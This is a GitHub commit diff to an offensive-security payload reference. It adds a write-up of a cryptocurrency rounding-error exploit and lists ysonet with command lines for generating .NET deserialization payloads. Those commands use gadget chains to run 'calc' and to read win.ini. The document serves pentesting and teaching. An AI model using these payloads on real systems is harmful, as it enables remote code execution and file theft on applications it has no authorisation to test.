Skip to content

Commit cd15d85

Browse files
committed
Rounding Errors
1 parent 1789498 commit cd15d85

File tree

3 files changed

+35
-11
lines changed

3 files changed

+35
-11
lines changed

Business Logic Errors/README.md

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
* [Refund Feature Exploitation](#refund-feature-exploitation)
1414
* [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
1515
* [Thread Comment Testing](#thread-comment-testing)
16+
* [Rounding Error](#rounding-error)
1617
* [References](#references)
1718

1819
## Methodology
@@ -73,6 +74,19 @@ Common examples of Business Logic Errors.
7374
* If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
7475
* Attempt to post comments impersonating other users.
7576

77+
### Rounding Error
78+
79+
The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
80+
81+
The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
82+
83+
* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
84+
* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
85+
86+
The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
87+
88+
In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
89+
7690
## References
7791

7892
* [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)

Insecure Deserialization/DotNET.md

Lines changed: 16 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -28,14 +28,23 @@ Example: `AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=`
2828

2929
## Tools
3030

31-
* [pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters](https://github.com/pwntester/ysoserial.net)
31+
* [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters
3232

33-
```ps1
34-
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
35-
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
36-
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
37-
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
38-
```
33+
```ps1
34+
cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
35+
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
36+
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
37+
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
38+
```
39+
40+
* [irsdl/ysonet](https://github.com/irsdl/ysonet) - Deserialization payload generator for a variety of .NET formatters
41+
42+
```ps1
43+
cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
44+
./ysonet.exe -p DotNetNuke -m read_file -f win.ini
45+
./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
46+
./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
47+
```
3948
4049
## Formatters
4150

Insecure Randomness/README.md

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -199,10 +199,11 @@ Generic identification and sandwich attack:
199199
200200
## References
201201
202-
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
202+
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
203+
* [Cracking Time-Based Tokens: A Glimpse from a Workshop During leHACK 2025-Singularity - 4m1d0n - June 30, 2025](https://4m1d0n.github.io/retex-insecure-time-token-sandwich-attack/)
204+
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
203205
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
206+
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
207+
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
204208
* [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
205209
* [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
206-
* [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
207-
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
208-
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)

0 commit comments

Comments
 (0)